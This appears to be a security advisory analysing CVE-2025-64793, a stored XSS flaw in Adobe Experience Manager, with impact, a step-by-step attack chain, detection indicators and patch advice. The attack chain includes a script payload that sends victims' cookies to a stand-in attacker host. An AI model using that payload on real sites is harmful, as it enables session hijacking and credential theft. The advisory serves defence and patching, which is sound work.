CVE-2025-64793: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64793 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premise) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with Adobe releasing the advisory (APSB25-115) the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, EUVD).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79 — Stored XSS). An authenticated attacker with low privileges can inject malicious JavaScript into vulnerable AEM form fields; the payload is persisted server-side and executed in the browser of any user who subsequently visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the injected content) and network access, but no elevated privileges beyond a standard authenticated session (Adobe Advisory, EUVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, leading to session hijacking, credential theft, unauthorized actions on behalf of the victim, and potential defacement of AEM-hosted content. Both confidentiality and integrity are impacted (low impact each per CVSS), with no direct availability impact. Because AEM is commonly used as an enterprise content management platform, exploitation could expose sensitive organizational content or enable further attacks against authenticated users, including administrators (Adobe Advisory, EUVD).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or public asset discovery tools.
2. Authentication: Obtain a low-privileged AEM user account (e.g., via phishing, credential stuffing, or a legitimate test account).
3. Identify vulnerable form fields: Browse AEM authoring or public-facing pages to locate form fields that accept and persist user input without adequate sanitization.
4. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/submit the form.
5. Trigger execution: Wait for or socially engineer a victim (including potentially an AEM administrator) to visit the page containing the injected content, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session cookies, credentials, or other sensitive data from the attacker-controlled server to enable session hijacking or further lateral movement (Adobe Advisory, EUVD).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /crx/, /libs/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) in form field parameters.
• Network: Outbound HTTP/S requests from victim browsers to unexpected external domains shortly after visiting AEM pages; DNS queries to attacker-controlled domains originating from internal user workstations.
• File System / Repository: Unexpected JavaScript content stored in AEM JCR repository nodes (e.g., under /content/ paths) containing <script> tags or encoded XSS payloads when reviewing content via CRXDE Lite or repository dumps.
• Process/Browser: Unusual browser-initiated requests to external URLs following AEM page visits, particularly carrying cookie or session data in query parameters.

Adobe has released patches addressing CVE-2025-64793 in AEM 6.5.24.0 (on-premise) and AEM as a Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary measure, restricting write access to AEM form fields to trusted users only and implementing a Web Application Firewall (WAF) with XSS filtering rules can reduce exposure. Adobe's advisory (APSB25-115) should be consulted for the full list of affected components and patch instructions (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products patched in December 2025, including CVE-2025-64793, flagging the broader patch batch as warranting prompt attention (CIS Advisory). Tenable added detection support via Nessus plugin 278346 shortly after disclosure (Tenable). No significant independent researcher commentary or social media discussion specific to this CVE has been identified.